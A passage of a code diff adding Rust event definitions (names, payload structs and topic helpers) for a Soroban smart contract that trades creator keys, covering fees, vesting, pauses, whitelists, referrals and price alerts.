&Address, + delegator: &Address, +) -> (Symbol, Address, Address) { + ( + DELEGATION_REVOKED_EVENT_NAME, + creator.clone(), + delegator.clone(), + ) +} + +pub fn dividend_claimed_topics( + creator: &Address, + claimant: &Address, +) -> (Symbol, Address, Address) { + ( + DIVIDEND_CLAIMED_EVENT_NAME, + creator.clone(), + claimant.clone(), + ) +} + +/// Event shape: +/// - topics: `(ALLOCATION_LOCKED_EVENT_NAME, creator)` +/// - data: `AllocationLockedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AllocationLockedEvent { + pub creator_id: Address, + pub amount: u32, + pub unlock_ledger: u32, +} + +/// Event shape: +/// - topics: `(ALLOCATION_CLAIMED_EVENT_NAME, creator)` +/// - data: `AllocationClaimedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AllocationClaimedEvent { + pub creator_id: Address, + pub amount: u32, + pub ledger: u32, +} + +/// Event shape: +/// - topics: `(PROTOCOL_FEE_RECIPIENT_UPDATED_EVENT_NAME, admin)` +/// - data: `ProtocolFeeRecipientUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ProtocolFeeRecipientUpdatedEvent { + pub old_recipient: Address, + pub new_recipient: Address, +} + +/// Event shape: +/// - topics: `(CREATOR_FEE_RECIPIENT_UPDATED_EVENT_NAME, creator)` +/// - data: `CreatorFeeRecipientUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CreatorFeeRecipientUpdatedEvent { + pub creator_id: Address, + pub old_recipient: Address, + pub new_recipient: Address, +} + +/// Event name for contract initialization (first fee config set). +pub const CONTRACT_INITIALIZED_EVENT_NAME: Symbol = symbol_short!("init"); + +/// Stable contract initialization event payload for downstream indexers. +/// +/// Emitted exactly once on the first successful `set_fee_config` call. +/// Re-initialization attempts revert before reaching event emission. +/// +/// Event shape: +/// - topics: `(CONTRACT_INITIALIZED_EVENT_NAME, admin)` +/// - data: `ContractInitializedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ContractInitializedEvent { + pub admin: Address, + pub protocol_fee_bps: u32, + pub protocol_fee_recipient: Address, + pub initialized_at_ledger: u32, +} + +/// Event name for global fee configuration update. +pub const FEE_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("fee_upd"); + +/// Event shape: +/// - topics: `(FEE_CONFIG_UPDATED_EVENT_NAME, admin)` +/// - data: `FeeConfigUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct FeeConfigUpdatedEvent { + pub old_bps: u32, + pub new_bps: u32, + pub updated_at_ledger: u32, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CoCreatorFeeEarned { + pub creator_id: Address, + pub co_creator: Address, + pub amount: i128, + pub ledger: u32, +} + +pub fn co_creator_fee_earned_topics( + creator_id: &Address, + co_creator: &Address, +) -> (Symbol, Address, Address) { + ( + CO_CREATOR_FEE_EARNED_EVENT_NAME, + creator_id.clone(), + co_creator.clone(), + ) +} + +/// Emitted by `set_co_creator` whenever a creator designates or updates their +/// co-creator split (issue #782). +/// +/// Event shape: +/// - topics: `(CO_CREATOR_SET_EVENT_NAME, creator_id, co_creator)` +/// - data: `CoCreatorSetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CoCreatorSetEvent { + pub creator_id: Address, + pub co_creator: Address, + pub split_bps: u32, +} + +pub fn co_creator_set_topics( + creator_id: &Address, + co_creator: &Address, +) -> (Symbol, Address, Address) { + ( + CO_CREATOR_SET_EVENT_NAME, + creator_id.clone(), + co_creator.clone(), + ) +} + +/// Event name for a completed holder snapshot (issue #778). +pub const SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("snap_take"); + +/// Event shape: +/// - topics: `(SNAPSHOT_TAKEN_EVENT_NAME, creator_id, snapshot_id)` +/// - data: `SnapshotTakenEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SnapshotTakenEvent { + pub creator_id: Address, + pub snapshot_id: u32, + pub snapshot_ledger: u32, + pub total_holders: u32, +} + +pub fn snapshot_taken_topics(creator_id: &Address, snapshot_id: u32) -> (Symbol, Address, u32) { + (SNAPSHOT_TAKEN_EVENT_NAME, creator_id.clone(), snapshot_id) +} + +/// Event name for protocol treasury revenue distributed to stakers. +pub const PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME: Symbol = symbol_short!("prot_rev"); + +/// Event shape: +/// - topics: `(PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME, creator_id, snapshot_id)` +/// - data: `ProtocolRevenueDistributedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ProtocolRevenueDistributedEvent { + pub total_distributed: i128, + pub staker_count: u32, + pub snapshot_id: u32, +} + +pub const PROTOCOL_REVENUE_DISTRIBUTED_DATA_FIELDS: [&str; 3] = + ["total_distributed", "staker_count", "snapshot_id"]; + +pub fn protocol_revenue_distributed_topics( + creator_id: &Address, + snapshot_id: u32, +) -> (Symbol, Address, u32) { + ( + PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME, + creator_id.clone(), + snapshot_id, + ) +} + +/// Event name for creator key identity initialization (issue #779). +pub const KEY_INITIALISED_EVENT_NAME: Symbol = symbol_short!("key_init"); + +/// Event shape: +/// - topics: `(KEY_INITIALISED_EVENT_NAME, creator_id)` +/// - data: `KeyInitialisedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeyInitialisedEvent { + pub creator_id: Address, + pub name: String, + pub bio: String, + pub avatar_uri: String, + pub symbol: String, + pub description: String, + pub image_cid: String, +} + +pub fn key_initialised_topics(creator_id: &Address) -> (Symbol, Address) { + (KEY_INITIALISED_EVENT_NAME, creator_id.clone()) +} + +/// Event name for a blocked same-ledger buy-then-sell attempt (issue #781). +pub const FLASH_LOAN_BLOCKED_EVENT_NAME: Symbol = symbol_short!("fl_block"); + +/// Event shape: +/// - topics: `(FLASH_LOAN_BLOCKED_EVENT_NAME, wallet, key_id)` +/// - data: `FlashLoanBlockedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct FlashLoanBlockedEvent { + pub wallet: Address, + pub key_id: Address, + pub ledger: u32, +} + +pub fn flash_loan_blocked_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { + ( + FLASH_LOAN_BLOCKED_EVENT_NAME, + wallet.clone(), + key_id.clone(), + ) +} + +/// Stable referral fee earned event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(REFERRAL_FEE_EARNED_EVENT_NAME, creator_id, referrer)` +/// - data: `ReferralFeeEarnedEvent` +/// +/// Emitted when a referrer earns a share of the protocol fee from a buy. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralFeeEarnedEvent { + pub creator_id: Address, + pub buyer: Address, + pub referrer: Address, + pub amount: i128, + pub ledger: u32, +} + +/// Shared referral fee earned event topics tuple. +pub fn referral_fee_earned_topics( + creator_id: &Address, + referrer: &Address, +) -> (Symbol, Address, Address) { + ( + REFERRAL_FEE_EARNED_EVENT_NAME, + creator_id.clone(), + referrer.clone(), + ) +} + +/// Event name for key transfer. +pub const KEYS_TRANSFERRED_EVENT_NAME: Symbol = symbol_short!("xfer"); + +/// Stable field order for key transfer event payloads. +pub const KEYS_TRANSFERRED_DATA_FIELDS: [&str; 5] = + ["creator_id", "from", "to", "amount", "ledger"]; + +/// Stable key transfer event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(KEYS_TRANSFERRED_EVENT_NAME, creator_id, from)` +/// - data: `KeysTransferredEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysTransferredEvent { + pub creator_id: Address, + pub from: Address, + pub to: Address, + pub amount: u32, + pub ledger: u32, +} + +/// Event name for creator key airdrops. +pub const KEYS_AIRDROPPED_EVENT_NAME: Symbol = symbol_short!("airdrop"); + +/// Stable field order for airdrop event payloads. +pub const KEYS_AIRDROPPED_DATA_FIELDS: [&str; 6] = [ + "creator_id", + "total_keys", + "total_cost", + "recipient_count", + "skipped_count", + "ledger", +]; + +/// Stable airdrop event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(KEYS_AIRDROPPED_EVENT_NAME, creator_id)` +/// - data: `KeysAirdroppedEvent` +/// +/// `total_cost` is the full amount charged to the creator (curve cost plus +/// protocol fee), `skipped_count` is the number of recipients skipped due to +/// per-wallet cap, and `ledger` is the Soroban ledger sequence number at airdrop +/// time so off-chain indexers can reconstruct the timeline. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysAirdroppedEvent { + pub creator_id: Address, + pub total_keys: u32, + pub total_cost: i128, + pub recipient_count: u32, + pub skipped_count: u32, + pub ledger: u32, +} + +/// Shared airdrop event topics tuple. +pub fn keys_airdropped_topics(creator: &Address) -> (Symbol, Address) { + (KEYS_AIRDROPPED_EVENT_NAME, creator.clone()) +} + +/// Event name for treasury withdrawal by the protocol admin. +pub const TREASURY_WITHDRAWAL_EVENT_NAME: Symbol = symbol_short!("treas_out"); + +/// Event name for creator storage TTL extension. +pub const TTL_EXTENDED_EVENT_NAME: Symbol = symbol_short!("ttl_ext"); + +/// Stable field order for treasury withdrawal event payloads. +pub const TREASURY_WITHDRAWAL_DATA_FIELDS: [&str; 4] = + ["amount", "recipient", "remaining_balance", "ledger"]; + +/// Stable treasury withdrawal event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(TREASURY_WITHDRAWAL_EVENT_NAME, recipient)` +/// - data: `TreasuryWithdrawalEvent` +/// +/// `ledger` is the Soroban ledger sequence number at the time of withdrawal so +/// off-chain indexers can reconstruct the timeline without replaying all events. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct TreasuryWithdrawalEvent { + pub amount: i128, + pub recipient: Address, + pub remaining_balance: i128, + pub ledger: u32, +} + +/// Shared treasury withdrawal event topics tuple. +pub fn treasury_withdrawal_event_topics(recipient: &Address) -> (Symbol, Address) { + (TREASURY_WITHDRAWAL_EVENT_NAME, recipient.clone()) +} + +/// Event name for reward pool top-up. +pub const REWARD_POOL_TOPUP_EVENT_NAME: Symbol = symbol_short!("rwd_top"); + +/// Stable field order for reward pool top-up event payloads. +pub const REWARD_POOL_TOPUP_DATA_FIELDS: [&str; 3] = ["sender", "amount", "new_pool_balance"]; + +/// Stable reward pool top-up event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(REWARD_POOL_TOPUP_EVENT_NAME, sender)` +/// - data: `RewardPoolTopUpEvent` +/// +/// Emitted when the authorised fee router calls `topup_reward_pool`. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct RewardPoolTopUpEvent { + /// Address of the fee router that sent the top-up. + pub sender: Address, + /// Amount added to the pool in this call (stroops). + pub amount: i128, + /// New total reward pool balance after the top-up (stroops). + pub new_pool_balance: i128, +} + +/// Shared reward pool top-up event topics tuple. +pub fn reward_pool_topup_topics(sender: &Address) -> (Symbol, Address) { + (REWARD_POOL_TOPUP_EVENT_NAME, sender.clone()) +} + +/// Event name for bid-ask spread update. +pub const SPREAD_UPDATED_EVENT_NAME: Symbol = symbol_short!("sprd_upd"); + +/// Stable field order for spread updated event payloads. +pub const SPREAD_UPDATED_DATA_FIELDS: [&str; 3] = ["creator", "old_spread_bps", "new_spread_bps"]; + +/// Stable spread updated event payload for downstream indexers. +/// +/// Event shape: +/// - topics: `(SPREAD_UPDATED_EVENT_NAME, creator)` +/// - data: `SpreadUpdatedEvent` +/// +/// Emitted when the admin updates the bid-ask spread for a creator. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SpreadUpdatedEvent { + /// Creator whose spread was changed. + pub creator: Address, + /// Previous spread in basis points. + pub old_spread_bps: u32, + /// New spread in basis points. + pub new_spread_bps: u32, +} + +/// Shared spread updated event topics tuple. +pub fn spread_updated_topics(creator: &Address) -> (Symbol, Address) { + (SPREAD_UPDATED_EVENT_NAME, creator.clone()) +} + +/// Shared TTL extension event topics tuple. +pub fn ttl_extended_topics(creator: &Address) -> (Symbol, Address) { + (TTL_EXTENDED_EVENT_NAME, creator.clone()) +} + +// --- Supply cap events --- + +/// Event name for supply cap set. +pub const SUPPLY_CAP_SET_EVENT_NAME: Symbol = symbol_short!("cap_set"); + +/// Event shape: +/// - topics: `(SUPPLY_CAP_SET_EVENT_NAME, creator)` +/// - data: `SupplyCapSetEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SupplyCapSetEvent { + pub creator_id: Address, + pub cap: u32, +} + +pub fn supply_cap_set_topics(creator: &Address) -> (Symbol, Address) { + (SUPPLY_CAP_SET_EVENT_NAME, creator.clone()) +} + +/// Event name emitted exactly once when a buy fills a capped key's supply to +/// its configured cap. Subsequent buys revert with `SupplyCapExceeded`, so the +/// event is never emitted again for the same key. +pub const SUPPLY_CAP_REACHED_EVENT_NAME: Symbol = symbol_short!("cap_reach"); + +/// Stable supply-cap-reached event payload. +/// +/// Event shape: +/// - topics: `(SUPPLY_CAP_REACHED_EVENT_NAME, creator_id)` +/// - data: `SupplyCapReachedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SupplyCapReachedEvent { + /// Creator whose key supply just reached the configured cap. + pub creator_id: Address, + /// New total supply, which now equals the configured cap. + pub new_supply: u32, + /// The configured cap that was reached. + pub cap: u32, + /// Ledger in which the cap was reached. + pub ledger: u32, +} + +/// Shared supply-cap-reached event topics tuple. +pub fn supply_cap_reached_topics(creator: &Address) -> (Symbol, Address) { + (SUPPLY_CAP_REACHED_EVENT_NAME, creator.clone()) +} + +// --- Multisig pause events --- + +/// Event name for pause proposal. +pub const PAUSE_PROPOSED_EVENT_NAME: Symbol = symbol_short!("pp_prop"); + +/// Event name for trading paused via multisig. +pub const TRADING_PAUSED_EVENT_NAME: Symbol = symbol_short!("pp_exec"); + +/// Event shape: +/// - topics: `(PAUSE_PROPOSED_EVENT_NAME, creator)` +/// - data: `PauseProposedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PauseProposedEvent { + pub creator_id: Address, + pub proposer: Address, + pub ledger: u32, +} + +/// Event shape: +/// - topics: `(TRADING_PAUSED_EVENT_NAME, creator)` +/// - data: `TradingPausedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct TradingPausedEvent { + pub creator_id: Address, + pub approver: Address, + pub ledger: u32, +} + +pub fn pause_proposed_topics(creator: &Address) -> (Symbol, Address) { + (PAUSE_PROPOSED_EVENT_NAME, creator.clone()) +} + +pub fn trading_paused_topics(creator: &Address) -> (Symbol, Address) { + (TRADING_PAUSED_EVENT_NAME, creator.clone()) +} + +/// Event name for a key trading pause with a fixed expiry. +pub const PAUSE_EXPIRY_SET_EVENT_NAME: Symbol = symbol_short!("pp_exp"); + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PauseExpirySetEvent { + pub key_id: Address, + pub pause_expires_at: u32, +} + +pub fn pause_expiry_set_topics(key_id: &Address) -> (Symbol, Address) { + (PAUSE_EXPIRY_SET_EVENT_NAME, key_id.clone()) +} + +// --- Global emergency pause events (#784) --- + +/// Event name emitted when the protocol-wide emergency pause activates. +pub const GLOBAL_PAUSE_ACTIVATED_EVENT_NAME: Symbol = symbol_short!("gpause_on"); + +/// Event name emitted when the protocol-wide emergency pause is lifted. +pub const GLOBAL_PAUSE_LIFTED_EVENT_NAME: Symbol = symbol_short!("gpause_of"); + +/// Topics for the `global_pause_activated` event. +/// +/// - topics: `(GLOBAL_PAUSE_ACTIVATED_EVENT_NAME, approver)` +/// - data: the ledger sequence at activation (`u32`) +pub fn global_pause_activated_topics(approver: &Address) -> (Symbol, Address) { + (GLOBAL_PAUSE_ACTIVATED_EVENT_NAME, approver.clone()) +} + +/// Topics for the `global_pause_lifted` event. +/// +/// - topics: `(GLOBAL_PAUSE_LIFTED_EVENT_NAME, approver)` +/// - data: the ledger sequence at the lift (`u32`) +pub fn global_pause_lifted_topics(approver: &Address) -> (Symbol, Address) { + (GLOBAL_PAUSE_LIFTED_EVENT_NAME, approver.clone()) +} + +// --- Vesting events --- + +/// Event name for vesting schedule created. +pub const VESTING_CREATED_EVENT_NAME: Symbol = symbol_short!("vest_new"); + +/// Event name for vested keys claimed. +pub const KEYS_CLAIMED_EVENT_NAME: Symbol = symbol_short!("vest_clm"); + +/// Event shape: +/// - topics: `(VESTING_CREATED_EVENT_NAME, creator)` +/// - data: `VestingCreatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct VestingCreatedEvent { + pub creator_id: Address, + pub beneficiary: Address, + pub total_keys: u32, + pub start_ledger: u32, + pub vesting_period_ledgers: u32, +} + +/// Event shape: +/// - topics: `(KEYS_CLAIMED_EVENT_NAME, creator, beneficiary)` +/// - data: `KeysClaimedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct KeysClaimedEvent { + pub creator_id: Address, + pub beneficiary: Address, + pub amount: u32, + pub ledger: u32, +} + +pub fn vesting_created_topics(creator: &Address) -> (Symbol, Address) { + (VESTING_CREATED_EVENT_NAME, creator.clone()) +} + +pub fn keys_claimed_topics(creator: &Address, beneficiary: &Address) -> (Symbol, Address, Address) { + ( + KEYS_CLAIMED_EVENT_NAME, + creator.clone(), + beneficiary.clone(), + ) +} + +pub const VESTING_CLIFF_CLAIMED_EVENT_NAME: Symbol = symbol_short!("vc_claim"); + +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct VestingCliffClaimedEvent { + pub creator_id: Address, + pub beneficiary: Address, + pub amount: i128, + pub ledger: u32, +} + +pub fn vesting_cliff_claimed_topics( + creator: &Address, + beneficiary: &Address, +) -> (Symbol, Address, Address) { + ( + VESTING_CLIFF_CLAIMED_EVENT_NAME, + creator.clone(), + beneficiary.clone(), + ) +} + +// --- Timelock events --- + +/// Event name for config change proposed. +pub const CONFIG_CHANGE_PROPOSED_EVENT_NAME: Symbol = symbol_short!("tl_prop"); + +/// Event name for config change executed. +pub const CONFIG_CHANGE_EXECUTED_EVENT_NAME: Symbol = symbol_short!("tl_exec"); + +/// Event name for config change cancelled. +pub const CONFIG_CHANGE_CANCELLED_EVENT_NAME: Symbol = symbol_short!("tl_canc"); + +/// Event shape: +/// - topics: `(CONFIG_CHANGE_PROPOSED_EVENT_NAME, proposer)` +/// - data: `ConfigChangeProposedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ConfigChangeProposedEvent { + pub proposal_id: u32, + pub proposer: Address, + pub change_type: u32, + pub proposed_at: u32, + pub execution_not_before: u32, +} + +/// Event shape: +/// - topics: `(CONFIG_CHANGE_EXECUTED_EVENT_NAME,)` +/// - data: `ConfigChangeExecutedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ConfigChangeExecutedEvent { + pub proposal_id: u32, + pub executed_at: u32, +} + +/// Event shape: +/// - topics: `(CONFIG_CHANGE_CANCELLED_EVENT_NAME,)` +/// - data: `ConfigChangeCancelledEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ConfigChangeCancelledEvent { + pub proposal_id: u32, + pub cancelled_at: u32, +} + +pub fn config_change_proposed_topics(proposer: &Address) -> (Symbol, Address) { + (CONFIG_CHANGE_PROPOSED_EVENT_NAME, proposer.clone()) +} + +pub fn config_change_executed_topics() -> Symbol { + CONFIG_CHANGE_EXECUTED_EVENT_NAME +} + +pub fn config_change_cancelled_topics() -> Symbol { + CONFIG_CHANGE_CANCELLED_EVENT_NAME +} + +// --- Circuit breaker, referral fee, whitelist, burn events --- + +pub const CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME: Symbol = symbol_short!("cb_trig"); +pub const REFERRAL_FEE_PAID_EVENT_NAME: Symbol = symbol_short!("ref_paid"); +pub const WHITELIST_ENABLED_EVENT_NAME: Symbol = symbol_short!("wl_en"); +pub const WHITELIST_DISABLED_EVENT_NAME: Symbol = symbol_short!("wl_dis"); +pub const ADDRESS_WHITELISTED_EVENT_NAME: Symbol = symbol_short!("wl_add"); +pub const ADDRESS_REMOVED_EVENT_NAME: Symbol = symbol_short!("wl_rem"); +pub const HOLDING_CAP_UPDATED_EVENT_NAME: Symbol = symbol_short!("hold_cap"); +pub const WHITELIST_UPDATED_EVENT_NAME: Symbol = symbol_short!("wl_upd"); +pub const EARLY_ACCESS_MODE_CHANGED_EVENT_NAME: Symbol = symbol_short!("ea_mode"); +pub const REFERRAL_REGISTERED_EVENT_NAME: Symbol = symbol_short!("ref_reg"); +pub const REFERRAL_REWARD_ALLOCATED_EVENT_NAME: Symbol = symbol_short!("ref_rwd"); +pub const REFERRAL_REWARDS_CLAIMED_EVENT_NAME: Symbol = symbol_short!("ref_clm"); +pub const REFERRAL_TIER_UPGRADED_EVENT_NAME: Symbol = symbol_short!("tier_upg"); +pub const KEYS_BURNED_EVENT_NAME: Symbol = symbol_short!("burned"); +pub const SELF_FREEZE_APPLIED_EVENT_NAME: Symbol = symbol_short!("sf_add"); +pub const SELF_FREEZE_LIFTED_EVENT_NAME: Symbol = symbol_short!("sf_del"); + +/// Event shape: +/// - topics: `(SELF_FREEZE_APPLIED_EVENT_NAME, key_id, wallet)` +/// - topics: `(SELF_FREEZE_LIFTED_EVENT_NAME, key_id, wallet)` +/// - data: `SelfFreezeEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct SelfFreezeEvent { + pub key_id: Address, + pub wallet: Address, + pub quantity: u32, +} + +/// Event shape: +/// - topics: `(CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME,)` +/// - data: `CircuitBreakerTriggeredEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct CircuitBreakerTriggeredEvent { + pub pre_price: i128, + pub post_price: i128, + pub actual_bps: u32, +} + +pub fn circuit_breaker_triggered_topics() -> Symbol { + CIRCUIT_BREAKER_TRIGGERED_EVENT_NAME +} + +/// Event shape: +/// - topics: `(REFERRAL_FEE_PAID_EVENT_NAME,)` +/// - data: `ReferralFeePaidEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct ReferralFeePaidEvent { + pub referrer: Address, + pub amount: i128, +} + +pub fn referral_fee_paid_topics() -> Symbol { + REFERRAL_FEE_PAID_EVENT_NAME +} + +/// Event shape: +/// - topics: `(WHITELIST_ENABLED_EVENT_NAME, creator)` +/// - data: `WhitelistEnabledEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct WhitelistEnabledEvent { + pub creator: Address, +} + +pub fn whitelist_enabled_topics(creator: &Address) -> (Symbol, Address) { + (WHITELIST_ENABLED_EVENT_NAME, creator.clone()) +} + +/// Event shape: +/// - topics: `(WHITELIST_DISABLED_EVENT_NAME, creator)` +/// - data: `WhitelistDisabledEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct WhitelistDisabledEvent { + pub creator: Address, +} + +pub fn whitelist_disabled_topics(creator: &Address) -> (Symbol, Address) { + (WHITELIST_DISABLED_EVENT_NAME, creator.clone()) +} + +/// Event shape: +/// - topics: `(ADDRESS_WHITELISTED_EVENT_NAME, creator)` +/// - data: `AddressWhitelistedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AddressWhitelistedEvent { + pub creator: Address, + pub address: Address, +} + +pub fn address_whitelisted_topics(creator: &Address) -> (Symbol, Address) { + (ADDRESS_WHITELISTED_EVENT_NAME, creator.clone()) +} + +/// Event shape: +/// - topics: `(ADDRESS_REMOVED_EVENT_NAME, creator)` +/// - data: `AddressRemovedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct AddressRemovedEvent { + pub creator: Address, + pub address: Address, +} + +pub fn address_removed_topics(creator: &Address) -> (Symbol, Address) { + (ADDRESS_REMOVED_EVENT_NAME, creator.clone()) +} + +/// Emitted when a creator changes their per-wallet holding cap. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct HoldingCapUpdatedEvent { + pub creator: Address, + pub old_cap: Option, + pub new_cap: u32, +} + +pub fn holding_cap_updated_topics(creator: &Address) -> (Symbol, Address) { + (HOLDING_CAP_UPDATED_EVENT_NAME, creator.clone()) +} + +/// Event name emitted when a creator tightens their per-wallet percentage +/// holding cap (`holder_cap_bps`) via `update_holder_cap`. +/// +/// The cap can only be reduced, never increased beyond the value stored at +/// launch. +pub const HOLDER_CAP_UPDATED_EVENT_NAME: Symbol = symbol_short!("hcap_upd"); + +/// Payload emitted when a creator updates their per-wallet percentage holding +/// cap via `update_holder_cap`. +/// +/// Event shape: +/// - topics: `(HOLDER_CAP_UPDATED_EVENT_NAME, key_id)` +/// - data: `HolderCapUpdatedEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct HolderCapUpdatedEvent { + /// Creator (key) whose holder cap was updated. + pub key_id: Address, + /// Previous holder cap in basis points. + pub old_cap_bps: u32, + /// New holder cap in basis points. + pub new_cap_bps: u32, +} + +/// Shared holder-cap-updated event topics tuple. +pub fn holder_cap_updated_topics(key_id: &Address) -> (Symbol, Address) { + (HOLDER_CAP_UPDATED_EVENT_NAME, key_id.clone()) +} + +// --- Price alerts (#1030) --- + +/// Event name emitted when a wallet registers a price alert via `register_alert`. +pub const PRICE_ALERT_REGISTERED_EVENT_NAME: Symbol = symbol_short!("alert_reg"); + +/// Stable price-alert-registered event field order for downstream indexers. +pub const PRICE_ALERT_REGISTERED_EVENT_DATA_FIELDS: [&str; 6] = [ + "wallet", + "key_id", + "alert_id", + "direction", + "target_price", + "ledger", +]; + +/// Payload emitted when a wallet registers a price alert. +/// +/// Event shape: +/// - topics: `(PRICE_ALERT_REGISTERED_EVENT_NAME, key_id, wallet)` +/// - data: `PriceAlertRegisteredEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PriceAlertRegisteredEvent { + /// Wallet that registered the alert. + pub wallet: Address, + /// Key whose spot price is watched. + pub key_id: Address, + /// Id assigned to the alert. + pub alert_id: u64, + /// Crossing direction that fires the alert. + pub direction: crate::price_alerts::AlertDirection, + /// Spot price threshold. + pub target_price: i128, + /// Ledger in which the alert was registered. + pub ledger: u32, +} + +/// Shared price-alert-registered event topics tuple. +pub fn price_alert_registered_topics( + key_id: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + PRICE_ALERT_REGISTERED_EVENT_NAME, + key_id.clone(), + wallet.clone(), + ) +} + +/// Event name emitted when a buy or sell moves a key's spot price across a +/// registered alert's target. Each alert emits it at most once: the alert is +/// deactivated in the same call. +pub const PRICE_ALERT_TRIGGERED_EVENT_NAME: Symbol = symbol_short!("alert_trg"); + +/// Stable price-alert-triggered event field order for downstream indexers. +pub const PRICE_ALERT_TRIGGERED_EVENT_DATA_FIELDS: [&str; 7] = [ + "wallet", + "key_id", + "alert_id", + "direction", + "target_price", + "new_price", + "ledger", +]; + +/// Payload emitted when a price alert fires. +/// +/// Event shape: +/// - topics: `(PRICE_ALERT_TRIGGERED_EVENT_NAME, key_id, wallet)` +/// - data: `PriceAlertTriggeredEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PriceAlertTriggeredEvent { + /// Wallet that registered the alert. + pub wallet: Address, + /// Key whose spot price crossed the target. + pub key_id: Address, + /// Id of the alert that fired. + pub alert_id: u64, + /// Crossing direction of the alert. + pub direction: crate::price_alerts::AlertDirection, + /// The alert's spot price threshold. + pub target_price: i128, + /// Spot price after the trade that crossed the target. + pub new_price: i128, + /// Ledger of the trade that fired the alert. + pub ledger: u32, +} + +/// Shared price-alert-triggered event topics tuple. +pub fn price_alert_triggered_topics( + key_id: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + PRICE_ALERT_TRIGGERED_EVENT_NAME, + key_id.clone(), + wallet.clone(), + ) +} + +/// Event name emitted when a wallet cancels a price alert via `cancel_alert`. +pub const PRICE_ALERT_CANCELLED_EVENT_NAME: Symbol = symbol_short!("alert_cxl"); + +/// Payload emitted when a wallet cancels a price alert. +/// +/// Event shape: +/// - topics: `(PRICE_ALERT_CANCELLED_EVENT_NAME, key_id, wallet)` +/// - data: `PriceAlertCancelledEvent` +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct PriceAlertCancelledEvent { + /// Wallet that cancelled the alert. + pub wallet: Address, + /// Key the alert watched. + pub key_id: Address, + /// Id of the cancelled alert. + pub alert_id: u64, + /// Ledger in which the alert was cancelled. + pub ledger: u32, +} + +/// Shared price-alert-cancelled event topics tuple. +pub fn price_alert_cancelled_topics( + key_id: &Address, + wallet: &Address, +) -> (Symbol, Address, Address) { + ( + PRICE_ALERT_CANCELLED_EVENT_NAME, + key_id.clone(), + wallet.clone(), + ) +} + +/// Emitted on every early-access whitelist add (`allowed = true`) and remove. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct WhitelistUpdatedEvent { + pub creator: Address, + pub wallet: Address, + pub allowed: bool, +} + +pub fn whitelist_updated_topics(creator: &Address) -> (Symbol, Address) { + (WHITELIST_UPDATED_EVENT_NAME, creator.clone()) +} + +/// Emitted when a creator toggles early-access mode. +#[derive(Clone, Debug, Eq, PartialEq)] +#[contracttype] +pub struct EarlyAccessModeChangedEvent { + pub creator: Address, + pub enabled: bool, +} + +pub fn early_access_mode_changed_topics(creator: &Address) -> (Symbol, Address) { + 